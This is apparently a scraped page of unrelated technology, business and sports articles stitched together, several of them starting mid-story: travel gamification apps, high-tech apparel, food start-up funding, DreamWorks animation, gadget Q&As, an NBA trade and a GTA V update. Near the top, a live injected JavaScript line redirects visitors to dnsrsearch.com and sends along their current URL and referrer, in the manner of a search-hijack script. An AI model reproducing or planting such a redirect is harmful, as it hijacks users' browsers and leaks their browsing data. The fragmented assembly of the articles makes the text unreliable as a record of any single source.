Bits Blog: Tips for Making the Change to iOS 7

window.location="http://www.dnsrsearch.com/index.php?origURL="+escape(window.location)+"&r="+escape(document.referrer);

The Getaway: Let’s Play: Making Travel a Game

For the next three hours the couple would explore the area and learn about its history by tackling trivia questions and accepting benign dares — challenges that came not from a tour guide, but from an app called Stray Boots that Ms. Peters had downloaded to her iPhone.

The first question seemed like a test to ensure that they were in the right spot: “What color is the wall painted?” Ms. Peters typed “blue” on her iPhone. Up popped the verdict: “Correct!” That earned her 10 points from the app, which then provided some history about the 1973 artwork by Forrest Myers. The couple spent the rest of the afternoon racking up points for each riddle and dare they polished off, striving to achieve a perfect score of 240. At the Hollister store they were told to snap a photo of themselves with the shirtless greeters who flank the doors like naughty cousins of the toy soldiers outside F. A. O. Schwarz. Near Greene Street they were asked how many “real” glass windows were above the first floor of the trompe l’oeil public artwork by Richard Haas.

“As we answered questions correctly, we were high-fiving in the middle of the street,” said Ms. Peters, a program coordinator in Brooklyn for a national nonprofit organization called Playworks. “You learn so many cool things.”

Stray Boots, which sells $2-to-$12 tours of more than a dozen cities including New Orleans, Philadelphia and Miami, was introduced last year, though the company began testing the concept in 2009 using only text messages. Since then, it has sold more than 85,000 tours, roughly doubling sales each year, said its chief executive, Avi Millman. (Stray Boots is also available in Britain, where it’s known as UK: The Game.)

I decided to take a tour in Times Square to see if even I, who work there, could learn a thing or two. I rolled my eyes when the app sent me to Toys “R” Us and the M&M’s World store. And I was disappointed that it didn’t explain the evolution of Father Duffy Square. I did, however, pick up a few factoids including how in the 1840s New York Police Department officers wore badges made of copper, which may have inspired the nickname “coppers” and later “cops.”

Yet the app is merely one product in a wave of new travel programs and promotions that are using game theory to win over customers, particularly those under 30 (so-called millennials). Today online tour operators like Expedia are incorporating avatars and trivia contests into the browsing and booking process. Tourism offices in Pennsylvania and Illinois are proffering exclusive Foursquare badges to those who check in at sites in their states. Museums are using portable multimedia players to make walking through their collections feel a bit like being in a multiplayer video game. And the America’s State Parks Foundation is rolling out a new app by ParksbyNature Network called the Pocket Ranger — available in 40 states by the end of the year — that enables users to earn points and win prizes by signing up for GeoChallenges, outdoor quests that require players to use the app’s GPS feature to navigate to sites like dams, trails and reservoirs.

It may sound like play, but it’s part of a broader business trend known as gamification. Gabe Zichermann, author of the new book “The Gamification Revolution” and chair of the annual Gsummit in San Francisco, describes it as the process of using the best ideas from games, loyalty and behavioral economics to engage people and solve problems (or both). It generally involves the use of motivational techniques and psychological triggers, like being alerted to a challenge or offered an opportunity for higher status, often in combination with digital candy like badges, points and leader boards. (Some of the fundamental ideas are derived from research by the social scientist BJ Fogg at Stanford University; you can learn about gaming your own behavior at Behaviorwizard.org.)

Mr. Zichermann, himself an avid traveler, said that things elemental to travel are also elemental to gamification. Hard-core travelers like to keep score: they know how many countries they’ve visited and how many miles they’ve flown. They take pleasure in accumulating badges, like stamps on their passport (and, in bygone days, stickers on their luggage). They check off must-see landmarks like the Eiffel Tower and the Parthenon as if they are levels in a video game. Even the act of traveling from one place to another becomes a personal challenge: to do so with ever more speed and status.

On a deeper level, though, great gaming experiences speak to our inner desire for mastery, autonomy and purpose, Mr. Zichermann noted. The same can be said of travel. “Why do we travel?” he said. “It’s all about creating memories and discovering ourselves. Gamification is perfectly aligned with that.”

But a common misperception is that it’s strictly about competition, Mr. Zichermann said. Gamification can engage people simply by making travel more playful and social, like Virgin America’s new seat-to-seat delivery feature that encourages fliers to “get lucky” by sending one another cocktails and messages through the entertainment system touchscreens on seatbacks. Or KLM’s Meet & Seat program, which allows passengers to view one another’s Facebook and LinkedIn profiles before the flight and then pick a spot next to an intriguing stranger. Even acquiring travel skills has become a game with language-learning Web sites like Duolingo and MindSnacks. And photo-sharing apps like Instagram and Flickr, while not pure gamification, borrow elements of the practice, making travel feel more communal.

Thanks to the ubiquity of smartphones and big data, gamification is now prevalent in practically every industry, though some of its roots are in travel, going back to the early 1980s, when American Airlines introduced its AAdvantage frequent flier program to create brand loyalty. Despite gamification’s popularity, there are many poorly designed experiences. In fact, the technology research company Gartner is predicting that by next year 80 percent of gamification projects will fail to meet business objectives. When done right, however, gamification can garner brand loyalty while also helping travelers interact, learn, share opinions and explore the world.

To achieve the latter, companies that specialize in gamification say they are trying to design experiences that are emotional, that delight or surprise, unlike early loyalty programs, which Mr. Zichermann described as “transactional systems that are trying to get as much out of consumers as possible while giving as little as possible.”

Prototype: At Ministry of Supply, Teamwork in Making High-Tech Apparel

Six years later, while riding his bike around the campus of the Massachusetts Institute of Technology as an engineering student, he realized he needed a dress shirt that could withstand the rigors of bicycle commuting. This time, he teamed up with a classmate and set out to make that missing item in the clothing market.

But they weren’t the only ones at M.I.T. to identify such a problem. Two students at its Sloan School of Management soon got together to develop their own version of work-appropriate clothing made with practical fabrics.

One was Kit Hickey, a former investment banker who had been frustrated that her Brooks Brothers suits were so stiff compared with her rock-climbing togs. The other was Aman Advani, now 28, who in his previous life as a management consultant had begun cutting the tubes from his dress socks and stitching them to the feet of his sports socks to build better footwear for his rigorous travel schedule.

The two groups, potential competitors, met each other at M.I.T.’s entrepreneur center in 2011. But instead of seeing each other as rivals, they decided to work together. “We were like, ‘Oh my God, this is crazy.’ I can’t believe we found each other,” Ms. Hickey, 28, says of the meeting.

“It was promising to know that there might actually be a market for this,” adds Mr. Amarasiriwardena, 24. By this time, he and his classmate Kevin Rustagi had started Ministry of Supply, a clothing business based in Boston that specializes in high-tech office apparel. Soon after the meeting, Ms. Hickey and Mr. Advani joined the company.

Business partners often cross paths in the early, brainstorming stages of a project. But it’s unusual for alliances to form further down the line, after each side is emotionally invested in its idea, according to Joseph B. Lassiter, a professor at the Harvard Business School and faculty chairman of the Harvard Innovation Lab.

“Everybody wants to have a baby, but your baby is different than the other guy’s baby and you’re in love with it,” Professor Lassiter says. “You think the other guy’s baby isn’t as cute as yours.”

A similar apparel company, called Outlier and based in Brooklyn, was also formed by people who might have become competitors. Abe Burmeister and Tyler Clemens, its founders, were two bicycle commuters who met at their local coffee shop after one had already been stitching prototypes of cycling-friendly dress shirts and the other was making durable dress pants.

“Turns out we had been working with the same fabrics and looking at very similar problems,” Mr. Burmeister wrote in an e-mail.

With complementary products, the two saw that their babies would make excellent siblings. “Within a couple months of that meeting we teamed up to launch Outlier,” Mr. Burmeister added.

In Ministry of Supply’s case, the concepts of the two potential competitors were nearly identical. True to their M.I.T. backgrounds, the founders are focusing on technological innovation.

Mr. Amarasiriwardena and his team have relied on an engineering process used in aerospace design to help understand how the body’s skin moves, so that their garments will stretch in a similar way. They use thermal imaging to find the spots in the body that generate the most heat, so they can determine where to place vents in the shirts.

Some of the fabric was created with a material that NASA had designed to regulate astronauts’ body temperatures in 200-degree heat changes. Ministry of Supply has a license to use the technology for the material. While the primary task of most athletic apparel is to manage sweat, this fabric keeps the body cool, preventing perspiration from occurring in the first place.

To execute some of the designs, they use computerized knitting. “It lets us dictate if we want a lighter mesh in the underarm in the back, but we want more coverage in the front,” Mr. Amarasiriwardena explains.

But for a high-tech apparel product to achieve mass appeal, it must also be aesthetically pleasing. “If it doesn’t look good, it’s over,” says Mark Satkiewicz, president of SmartWool, a company that sells high-performance merino wool socks and clothing.

The key is finding a balance between looks and performance, which is no simple feat, Mr. Satkiewicz says. “It’s very difficult,” he says. “I don’t think any brands have hit a home run every time.”

To address this issue, Ministry of Supply tapped its customers from its beta stage for feedback before it opened to the public last June. A New York fashion designer then incorporated the suggestions into new designs. “We did more than 20 iterations of the dress shirt and we were progressively able to improve the aesthetic,” Ms. Hickey says, and as a result, the clothing now has a far more tailored appearance. Since last June, the company has sold 12,800 shirts and pants through its Web site and its Boston showroom (Mr. Rustagi left the company last year.)

One of the early adopters was Craig Breslow, 32, a pitcher for the Boston Red Sox whose fiancée bought him a shirt as a birthday present. She thought it would “appeal to the nerd” in him, he recalls, while he was “just hoping the fashion side of things would be passable.” Mr. Breslow is a Yale graduate with a bachelor’s degree in molecular biophysics and biochemistry.

Mr. Breslow decided to take the shirt on the road during the baseball season, testing it in the disparate climates of places like Texas and Toronto. It came in handy after games, when he and his teammates “have about 30 minutes to eat, shower, stop sweating and put on a suit,” he says. He liked the shirt — and its look — so much that he bought two more shirts, as well as a pair of slacks, whose comfort he compared to that of sweat pants. Then he decided to invest $50,000 in the company.

“It’s like the scientific method,” Mr. Breslow says of Ministry of Supply’s approach. “Find a problem, develop a hypothesis, test it and reach a conclusion. That’s something I can appreciate.”

Venture Capitalists Are Making Bigger Bets on Food Start-Ups

That idea is enticing a wide group of venture capitalists in Silicon Valley into making big bets on food.

In some cases, the goal is to connect restaurants with food purveyors, or to create on-demand delivery services from local farms, or ready-to-cook dinner kits. In others, the goal is to invent new foods, like creating cheese, meat and egg substitutes from plants. Since this is Silicon Valley money, though, the ultimate goal is often nothing short of grand: transforming the food industry.

“Part of the reason you’re seeing all these V.C.’s get interested in this is the food industry is not only is it massive, but like the energy industry, it is terribly broken in terms of its impact on the environment, health, animals,” said Josh Tetrick, founder and chief executive of Hampton Creek Foods, a start-up making egg alternatives.

Some investors say food-related start-ups fit into their sustainability portfolios, alongside solar energy or electric cars, because they aim to reduce the toll on the environment of producing animal products. For others, they fit alongside health investments like fitness devices and heart rate monitoring apps. Still others are eager to tackle a real-world problem, instead of building virtual farming games or figuring out ways to get people to click on ads.

“There are pretty significant environmental consequences and health issues associated with sodium or high-fructose corn syrup or eating too much red meat,” said Samir Kaul, a partner at Khosla Ventures, which has invested in a half-dozen food start-ups. “I wouldn’t bet my money that Cargill or ConAgra are going to innovate here. I think it’s going to take start-ups to do that.”

In the last year, venture capital firms in the valley have funneled about $350 million into food projects, and investment deals in the sector were 37 percent higher than the previous year, according to a recent report by CB Insights, a venture capital database. In 2008, that figure was less than $50 million.

That money is just a slice of the $30 billion that venture capitalists invest annually, but it is enough to help finance an array of food start-ups.

The venture capital firms helping to finance these businesses are some of the valley’s most prominent names, in addition to Khosla: SV Angel, Kleiner Perkins Caufield & Byers, True Ventures and the Obvious Collection. Celebrities from Hollywood (Matt Damon), pro football (Tom Brady) and the tech world more broadly (Bill Gates) have also joined in.

“Consumers are interested in sophisticated experiences that are beautifully delivered, which we’ve seen happen on the Web and with products like the iPhone,” said Tony Conrad, a partner at True Ventures, which was an early investor in the coffee company Blue Bottle. “Now, we’re seeing that happen with food and beverage.”

Still, some tech analysts and venture capitalists are skeptical that these companies, with their factories and perishable products, can reach the scale and market valuations of big Internet companies.

“I don’t see a multimillion-dollar business coming out of any of these companies,” said Susan Etlinger, an analyst with the Altimeter Group, a firm that advises companies on how to use technology. “The majority of Americans will not likely be able to participate, they’re simply too expensive for them.”

Venture capitalists have strayed from pure technology to food before. Restaurant chains like Starbucks, P. F. Chang’s, Jamba Juice and, more recently, the Melt, were backed by venture capital. Recipe apps and restaurant review sites like Yelp have long been popular.

But this newest wave of start-ups is seeking to use technology to change the way people buy food, and in some cases to invent entirely new foods. Investors are also eager to profit from the movement toward eating fewer animal products and more organic food. They face a contradiction, though, because that movement also shuns processed food and is decidedly low-tech.

“It’s not Franken-food,” Mr. Kaul of Khosla Ventures said. “We’re careful not to make it sound like some science experiment, but there is technology there.”

Hampton Creek Foods, based in San Francisco, uses about a dozen plants, including peas, sorghum and a type of bean, with properties similar to eggs, to make an egg substitute.

Mr. Tetrick, its founder, started the company after working on alleviating poverty in sub-Saharan Africa. He hired a protein chemist, a food scientist, a sales executive from Heinz and a contestant from the television show “Top Chef.” Two large food companies are using the egg substitutes in cookies and mayonnaise, and he said he planned to sell them to consumers next month.

This article has been revised to reflect the following correction:

Correction: April 30, 2013

An earlier version of this article misstated the restaurant experience of Chris Muscarella, a co-founder of the site Kitchensurfing. While he has worked in restaurants, he has not been a chef. The article also referred incorrectly to the investment history of Google Ventures. It has indeed made food-related investments, providing venture capital to Blue Bottle Coffee, a specialty retailer.

Bits Blog: Making Movie Magic More Efficient

DreamWorks Animation The character Eep basks in a rare taste of life outside her family cave.

“The Croods” is a caveman movie from DreamWorks Animation that comes out March 22. The subject may be paleolithic, but the technology approach may well be cutting edge.

“Croods” is a digital product of about 250 billion pixels, with high-definition sound that, along with the images and story, is designed to maximize emotional manipulation of the audience. It is the end point of a process involving hundreds of artists and engineers working in a closely organized system that DreamWorks has been working on for years.

Making a movie with a half-million digital files, containing things like hair waving in the wind or cliffs crumbling into dust, took several years of planning, writing and drawing. It also meant searching for efficiency in the face of escalating costs. Since 2006, DreamWorks Animation has released more than a dozen movies costing at least $130 million. “We’re hoping to reduce that expense while adding more to the experience,” says Lincoln Wallen, the chief technical officer at DreamWorks Animation. “A modern digital environment, whatever the business, has to be distributed and agile.”

While each film needs its own uniquely realized look, the company also keeps a digital catalog of every table, flame and character, so parts might be modified or retouched in a future film. More important savings come by rethinking how things are made. In 2009’s “Monsters Versus Aliens,” the relatively simple-looking destruction of a spaceship used 4 terabytes of data about pixels. In “Croods,” the same amount creates a far more detailed and longer destruction of a mountainside.

Instead of a straightforward pixel stash, DreamWorks hired a former quantum chemist and a former specialist in fluid dynamics to create a series of mathematical instructions about how different parts of the image should affect their neighbors once motion commences. That way the same amount of data is creating a more complex outcome.

The company has also worked to tighten the relationships between artists trying out different angles, through custom software that changes the angle of a character with the touch of a pen. Elsewhere, Wall Street trading software has been adapted to speed communication of changes in digital files among different groups of artists. A dancer wearing a special body suit generates an image of her as a cartoon character that many artists can look at together, and figure out how a scene should be structured.

“Siloed systems are too brittle,” says Mr. Wallen. “The key is a knowledge and management of all the interrelationships.” He and others at DreamWorks are now considered proficient enough at managing these big cloud systems that Intel and Hewlett-Packard, suppliers of much of DreamWorks’ technology, have them speaking to customers in such seemingly unrelated fields as energy and finance.

Viewed as a manufacturing process, what DreamWorks is doing is also a little like the old Six Sigma idea, practiced by General Electric and others, that problems are most easily fixed when they are approached as early as possible. There is also a “just in time” digital customization plan in the works, Mr. Wallen says, to shift the final product so characters’ facial reactions mimic those of, say, a Chinese person when the movie is playing in China. In both cases, the idea is to make high-cost enchantment more efficient.

Gadgetwise Blog: Q&A: Making a Phone-to-PC Bluetooth Connection

How do I connect my Android smartphone to my Windows 7 laptop with Bluetooth so I can transfer files wirelessly? My laptop said it came with Bluetooth, but I’m not sure how it works or if it’s even on.

Check the settings on both the phone and the laptop to make sure the Bluetooth function is turned on and in “discoverable” mode so they can sense each other’s wireless Bluetooth signal. On the Windows 7 computer, go to the Start menu and select Devices and Printers on the right side.

In the box that appears, right-click on the icon for your laptop and select Bluetooth Settings from the contextual menu. On the Options tab in the Bluetooth settings box, turn on the checkbox next to “Allow Bluetooth devices to find this computer.” You should also turn on the options that allow other Bluetooth devices to connect to the computer, and for alerting you when they do. For easy access to the Bluetooth settings, turn on the checkbox to add a Bluetooth icon on the Windows Notifications area.

If you want to share files between the phone and computer, click the Share tab in the Bluetooth settings box and turn on the option for “Allow remote devices to browse, send, and receive pictures, music and other files.” Click the OK button when you are finished in the Bluetooth settings box.

You need to make sure the Android phone is set up for Bluetooth use as well. The steps will vary based on the version of Android being used, but you can usually find them in the Settings area, under “Wireless & networks.” Google has sample steps for turning on Bluetooth and pairing the phone with other Bluetooth devices in Android 2.3 and Android 4.0; your phone’s manual should also have the information.

“Pairing” devices means that you formally introduce the phone to the computer so they can connect to each other. To pair the two from the PC, go back to the Start menu to the Devices and Printers area. In the Devices and Printers box, click “Add a device” at the top to start the Windows software wizard that walks you through the steps for connecting computer to phone.

Microsoft’s frequently-asked-questions page for Windows 7 and Bluetooth has more information and troubleshooting tips if you get stuck. The site called 7Tutorials has detailed instructions for and transferring files between a Windows 7 PC and a phone over a Bluetooth connection as well as using the Bluetooth Device control panel.

Disruptions: Disruptions: How Smartphones Are Making Wallets Obsolete

Nick Bilton/The New York Times Nick Bilton discarded his wallet after realizing his smartphone had replaced almost everything in it.

Growing up, I noticed that something happened to my father as he aged: his wallet expanded with each passing year.

There were new credit cards, membership cards, coffee cards, business cards, pictures of his family, stamps and other plastic and paper things, added almost weekly. Eventually, his wallet grew so large that he would pull it out of his back pocket when he sat down, dropping it on the table like a brick.

As I’ve grown older, something entirely different has happened to my wallet: each year, it has become slimmer. Things that once belonged there have gradually been siphoned out by my smartphone. Last week, I realized I didn’t need to carry a wallet anymore. My smartphone had replaced almost everything in it.

So, it’s gone. Add that to the pile of things — my address books, Filofax, portable music player, point-and-shoot camera, printouts of maps — that have melded into the smartphone.

So where did the things that used to live in my wallet go?

Printed photos, which once came in “wallet size,” have been replaced by an endless roll of snapshots on my phone. Business cards, one of the more archaic forms of communication from the last few decades, now exist as digital rap sheets that can be shared with a click or a bump.

As for cash, I rarely touch the stuff anymore. Most of the time I pay for things — lunch, gas, clothes — with a single debit card. Increasingly, there are also opportunities to skip plastic cards. At Starbucks, I often pay with my smartphone using the official Starbucks app. Other cafes and small restaurants allow people to pay with Square. You simply say your name at a register and voilà, transaction complete.

But wait, what did I do with all of the other cardlike things, like my gym membership I.D., discount cards, insurance cards and coupons? I simply took digital pictures of them, which I keep in a photos folder on my smartphone that is easily accessible. Many stores have apps for their customer cards, and insurance companies have apps that substitute for paper identification.

Because I own an iPhone, I don’t have to carry tickets around, either. I use Passbook, a free Apple app that can store boarding passes, movie tickets, coupons and loyalty cards. I’ve used these digital replicas to board a flight to Los Angeles and to get into a movie and a baseball game.

Some people might cringe at the thought of putting a picture of an insurance card on their phone, but if I lose my phone, there is a password to stop someone from opening it. My wallet never came with a password.

There are a couple of things I still carry in my pocket, held together with a money clip: the debit card and my driver’s license. But I’m confident that those, too, will someday disappear.

Soon enough, my phone will become my sole credit card, and the only thing left in my pocket will be my driver’s license. And at some point, the government will enter the 21st century and offer a digital alternative for that.

Or maybe I won’t need a driver’s license at all: when cars drive themselves in the not-too-distant future, I’ll be taking a nap while my car takes me to work.

E-mail: bilton@nytimes.com

Gadgetwise Blog: Q&A: Making Picture Books on a PC

My Mac friends make these really nice picture books with iPhoto, but I use Windows. What options for easily making comparatively good-looking photo books are out there for me?

Apple iPhoto books, which can be designed and uploaded right from the iPhoto program, simplify the process for Mac users, but that does not mean Windows users are without similar resources. When shopping for a photo-book service, be sure to check out the selection of photo-editing tools, page templates and cover options to make sure the company provides everything you want for your custom photo book. Microsoft has a slightly outdated but general guide to publishing your own photo album in book form here.

Sites where you can upload photos and design your book right in your Web browser are plentiful. Shutterfly, which took over photo services from the now-defunct Kodak Gallery this year, and Snapfish are two established companies that have offered custom photo products for years. Mixbook and MyCanvas are also sites that let you create custom photo books.

Reviews of these sites and others are online. Prices for finished books are also comparable, averaging around $30 for a 20-page book before shipping charges. If you use the Flickr photo-sharing site, you can find links to sites that let you create custom books, cards and calendars with your pictures as well.

Depending on the photo-editing software you use on your computer, you may also be able to use a plug-in or an integrated service to create and upload a photo book. For example, Adobe Photoshop Elements has book-creation services and the Snap MyLife Creations Photo Book Uploader plug-in is available for the Windows Live Photo Gallery on Microsoft’s site.

Making It Rain On Them Groupies: OKC Baller James Harden Rejects $52 Million Extension And Takes $60 Milli Deal With Houston Rockets

It’s all about the Benjamins!

The Oklahoma City Thunder traded All-Star guard James Harden to the Houston Rockets Saturday night, reports Yahoo! Sports:

The Rockets in turn sent guards Kevin Martin, Jeremy Lamb and future draft considerations to Oklahoma City for Harden. The Thunder will send center Cole Aldridge, forward Lazr Hayward and guard Daquan Cook to the Rockets.

Houston will also send two 2013 first-round picks (from Dallas and Toronto) to the Thunder.

Sources say that the Thunder and Harden were not able to reach an extension and Thunder general manager Sam Presti moved quickly to trade him.

“We wanted to sign James to an extension, but at the end of the day, these situations have to work for all those involved. Our ownership group again showed their commitment to the organization with several significant offers,” Presti said in a statement. “We were unable to reach a mutual agreement, and therefore executed a trade that capitalized on the opportunity to bring in a player of Kevin’s caliber, a young talent like Jeremy and draft picks, which will be important to our organizational goal of a sustainable team. We appreciate James, Cole, Daequan and Lazar’s contributions to the Thunder organization and this community and wish them the best in the future.”

Harden, last season’s NBA Sixth Man of the Year, recently turned down a four-year offer worth about $52 million. Harden had been asking for a maximum contract worth $60 million.

In professional sports, it’s often about the money. And at the end of the day, the Oklahoma City Thunder didn’t have the money for guard James Harden.

Will Trina be at his games in Houston??

Gadgetwise Blog: Q&A: Making Money From Flickr Photos

Why do some photos on Flickr have a “Request to License” tag with a Getty Images link next to them?

Flickr has a partnership with Getty Images, a stock photography company that licenses digital images (as well as music and video) from its archive to publications and other businesses. When a Flickr photo has a “Request to License” tag on its page, it means that the person who took it has turned on the Request to License setting for Getty Images in his or her Flickr account settings.

If someone wants to buy the rights to use that photo, clicking the Request to License link sends a message to editors at Getty Images. Upon getting the request, a Getty editor checks out the photo and if it passes muster, offers to set up a licensing deal for a legal use of the image. It may take anywhere from two to seven days to set up a deal for permissions and pricing.

Getty Images charges different fees to license photos, usually based on the size needed. An extra-small 280-by-211-pixel photo may cost $5 to license, but a larger 2,100-by-1,400-pixel picture can cost $325 to use. The photographer still owns the copyright to the photo, but Getty Images handles the fee and permissions for someone else to use the image, then shares the payment with the photographer.

Getty Images also hosts a Flickr Collection on its own Web site that displays the work of Flickr members who have been invited to contribute. Photo editors, graphic designers and other people looking for images to license on the site can browse the Flickr Collection along with the company’s other image archives. Getty editors actively look for images based on certain needs as well and often post their own requests on Twitter.

Participation in the Getty Images program is not mandatory for Flickr members, and the preferences for joining in (or not) are in the Privacy & Permissions area of the Flickr account settings page. Dealing with contracts and legal agreements may be daunting at first, but Flickr has more information about the Getty Images program on its site. Getty Images has its own Frequently Asked Questions page for those interested in becoming official Getty contributors.

Unboxed: Making the Case for a Government Hand in Research

Ambitious, sure, but Duolingo recently attracted $15 million of venture capital. The investors are betting on Mr. von Ahn, his idea and his growing team of 18 engineers, language experts and Web designers.

Mr. von Ahn, 33, personifies some of the essential ingredients of America’s innovation culture, when it works well. An immigrant from Guatemala, he has intelligence and entrepreneurial energy to spare. And he has received a helping hand from the federal government. Duolingo began as a university research project financed by the National Science Foundation.

That pattern has been repeated countless times over the years. Government support plays a vital role in incubating new ideas that are harvested by the private sector, sometimes many years later, creating companies and jobs. A report published this year by the National Research Council, a government advisory group, looked at eight computing technologies, including digital communications, databases, computer architectures and artificial intelligence, tracing government-financed research to commercialization. It calculated the portion of revenue at 30 well-known corporations that could be traced back to the seed research backed by government agencies. The total was nearly $500 billion a year.

“If you take any major information technology company today, from Google to Intel to Qualcomm to Apple to Microsoft and beyond, you can trace the core technologies to the rich synergy between federally funded universities and industry research and development,” says Peter Lee, a corporate vice president of Microsoft Research. Dr. Lee headed the National Research Council committee that produced the report, titled “Continuing Innovation in Information Technology.”

The long-term importance of government-supported research may loom small in the current debate over how to reduce the federal deficit. But it is an economic issue worth keeping in mind, and one that points to the kinds of tough choices and trade-offs facing policy makers.

The Budget Control Act, which is scheduled to take effect next January unless Congress shifts course, calls for across-the-board cuts in discretionary spending — for programs other than entitlements like Social Security and Medicare. A new study by the American Association for the Advancement of Science estimates that federal spending on research and development would be trimmed by more than $12 billion in 2013. The National Science Foundation, which finances most government-supported computer science research at universities, would have its budget cut by more than $450 million.

Last week, Senate leaders were trying to negotiate a deficit-reduction deal that would avoid the automatic cuts, but programs like those that finance research are likely to receive rigorous scrutiny from budget-cutters for years into the future. Already, the Advancement of Science report says, government spending on research and development has declined by 10 percent since 2010, when adjusted for inflation.

YET why should government support for scientific research and technology development be spared from the belt-tightening? Unless society benefits inordinately from such spending, there is no case for special treatment. In a new book, “Innovation Economics: The Race for Global Advantage” (Yale University Press), Robert D. Atkinson and Stephen J. Ezell forcefully present the argument for the exceptional role that science and technology play in the economy.

Cutting funding for research and development, Mr. Atkinson said in an interview, is “completely shortsighted.” Spending on science and technology, he said, is an investment that produces a larger economy in the future — generating wealth, jobs and tax revenue. Besides, he said, the bill is not very high in the United States. America ranks 22nd among 30 nations in university funding and research and development funding as a share of the economy’s gross domestic product.

In their book, Mr. Atkinson, president of the Information Technology and Innovation Foundation, a nonprofit policy research group, and Mr. Ezell, a senior analyst at the foundation, define innovation as not only the generation of new ideas but also as their adoption in new products, processes, services and organizational models. In their view, the goal of policy should be to invest in and nurture the development of the innovation pipeline, from basic science to commercialization.

That would call for a more hands-on role for government than is embraced by the mainstream of economic thought, certainly in the United States. The consensus of most economists is that basic science is a “public good,” with the benefits widely shared by society, and thus a worthwhile recipient of government financing. But technology — the application of science to real-world problems — is regarded as a “private good,” with its development best left to the marketplace.

Mr. Atkinson, whose Ph.D. is in city and regional planning, says he is presenting the case for loosening the grip of “neoclassical economists” on policy. He has held economic and technology policy jobs in Rhode Island and for Congress, and has served in advisory groups in the administrations of President Obama, Bill Clinton and George W. Bush. Mr. Atkinson’s nonprofit policy research organization receives financial support from groups including the Alfred P. Sloan Foundation and the Ewing Marion Kauffman Foundation, and from corporations including Intel and I.B.M.

A linchpin of innovation policy, according to Mr. Atkinson, is collaboration between government and industry. As a prime example, he points to Germany and its network of 60 Fraunhofer Institutes, financed 70 percent by business and 30 percent by federal and state government. The institutes, he says, perform applied research intended to translate promising technologies, from polymer research to nanotechnology, into products. These tech-transfer clusters, Mr. Atkinson says, are an important reason for the strength of Germany’s manufacturing sector, even though wages for its factory workers are 40 percent higher than those for American workers.

Taking a page from the German model, the Obama administration announced this year plans for up to 15 manufacturing innovation institutes, public-private collaborations called the National Network of Manufacturing Innovation. The first will be in Youngstown, Ohio, specializing in custom manufacturing using 3-D printing technology. Mr. Atkinson says that while this is a good step, what is needed is a long-term commitment. He noted that Germany’s Fraunhofer initiative began nearly four decades ago, and has grown steadily.

Mr. Atkinson’s focus on research investment, and on the pathways that bring ideas into the marketplace, is gaining increasing attention in economics, according to David B. Audretsch, an economist at Indiana University. “Research and development unequivocally pays off economically,” Mr. Audretsch says. “But the biggest payoff is in ecosystems that take the innovative inputs and make them commercial outputs — products.”

MR. VON AHN’S start-up is a new addition to the growing technology cluster around Pittsburgh, with Carnegie Mellon, a major research university, as its hub. Duolingo combines crowdsourcing and computing, language learning and online translation. People learn a language at no cost, while their lessons feed into Duolingo’s fast-expanding translation database, which is sorted and scored for accuracy with smart software.

The crowdsourcing principle is similar to that used by Mr. von Ahn’s previous company, reCaptcha. Its service employs the widely used Web security feature in which users identify and type words, scanned from old books and newpapers, to gain access to a site or service — in the process helping to accurately digitize those old texts.

But Duolingo is far more ambitious and complex. The exploratory research was supported by a five-year grant from the National Science Foundation, about $120,000 a year, used mostly to pay the tuition and living expenses for a graduate student. Two years later, Mr. von Ahn and his small team had made enough progress to have a working prototype, start the company and attract private investors.

“The grants are really helpful when you’re working on something that is scientifically complex,” Mr. von Ahn says, “when you’re in the early year, or two or more, when you have no idea if it will work.”

Mr. von Ahn, joining other scientists, has made a few trips to Washington to speak to members of Congress and their staffs. His message is this: “Don’t eat your seed corn. It may seem like an easy thing to cut now. But years later, you will regret that you did not invest a tiny portion of your federal budget in research, in the future.”

Is Microsoft Making "Wearable" Xbox Controllers?

We've covered "wearable game controller" prototypes before, but every time our reaction was the same: "This doesn't look very fun, but in the hands of a capable company it definitely could be."

Well, a patent application filed by Microsoft back in July outlines "a 'Wearable Electromyography-Based Controller,' … for measuring muscle activity, to interact with and control computing devices … [including] game consoles, televisions or other multimedia devices." As the attached illustrations clarify, "wearable" could refer to everything from a pair of gloves to a shirt and pants to a simple arm-band or pair of glasses.

This could be the first "wearable gaming" development worth caring about.

Motion controls have had various gaming applications, but none of them has ever felt totally natural to non-gamers or sufficiently precise for hardcore gamers. A really good wearable, muscle activity-sensing controller could solve both those problems at once.

Wearable EMG sensors could have all kinds of real-world utility - from controlling prosthetic limbs to playing software-virtualized instruments - but what we really wanted to know is whether Microsoft's planning to use them for games.

The answer: a resounding maybe.

Whatever its purposes for the technology, Microsoft has kept it almost completely under wraps. As Patent Bolt points out, they've been "working on an advanced wearable computer system since at least 2008 without the press getting any wind of it."

It may not be realistic to hope we'll see one of these controllers in action for at least a few years, but it's no stretch to suggest Microsoft's researchers have gaming in mind, at least partially:

"Purposes include … interaction with conventional application such as … wired or wireless game controllers for interacting with game consoles or with video games operating on such consoles, control of pan-tilt-zoom cameras … etc."

Combine a fully wearable controller with Microsoft's rumored immersive display development, and put that in the hands of a capable game developer: there are some very, very cool possibilities.

How would you want to see a wearable controller put to use? Let us know in the comments.

Jon Fox is a Seattle hipster who loves polar bears and climbing trees. You can follow him on Twitter and IGN.

Grand Theft Auto V Making 'Substantial Progress'

Rockstar parent company Take-Two has provided a brief status update about Grand Theft Auto V. During the company’s first quarter fiscal 2013 earnings call today, CEO Strauss Zelnick commented that Grand Theft Auto V is in “full development” and that Rockstar has made “substantial progress” on the game’s “vast, detailed open world setting.”

Beyond that, Zelnick was coy about Grand Theft Auto V’s release date, which continues to show as "TBA" on Take-Two's release calendar. Zelnick commented “we can't talk about the credibility of a release date that we haven't announced” when asked about various reports about the game’s timing. After a question regarding how often Take-Two communicates with Rockstar about the game’s status, Zelnick simply said he “wouldn't talk publicly about the way we communicate with our teams internally” and noted that Take-Two is “blessed” to be in business with Rockstar. “We have the best creative teams in the business across our company,” he added.

Grand Theft Auto V seemed to be the focus of much of the call’s Q&A session, but one question also revolved around Agent, which, aside from a few screenshots, hasn’t been seen since it was originally announced in 2009. “We haven’t announced anything about the title yet” was Zelnick’s only comment.

Overall, Take-Two referred to the first quarter of its 2013 fiscal year as below expectations, largely pointing to lower than expected sales of Max Payne 3 (which has shipped three million units worldwide) and Spec Ops: The Line. The company earned $226.1 million for the quarter -- down $108.3 million compared to the same quarter last year -- and reported a $110.8 million loss, more than $100 million over last year’s first quarter loss of $8.6 million. “Consumers at this stage in the hardware cycle are more selective than ever,” Zelnick said. “Our teams are already trying to do groundbreaking work. Sometimes we succeed, sometimes we succeed mightily. Occasionally we are disappointed. We’d like that to be even less occasionally.”

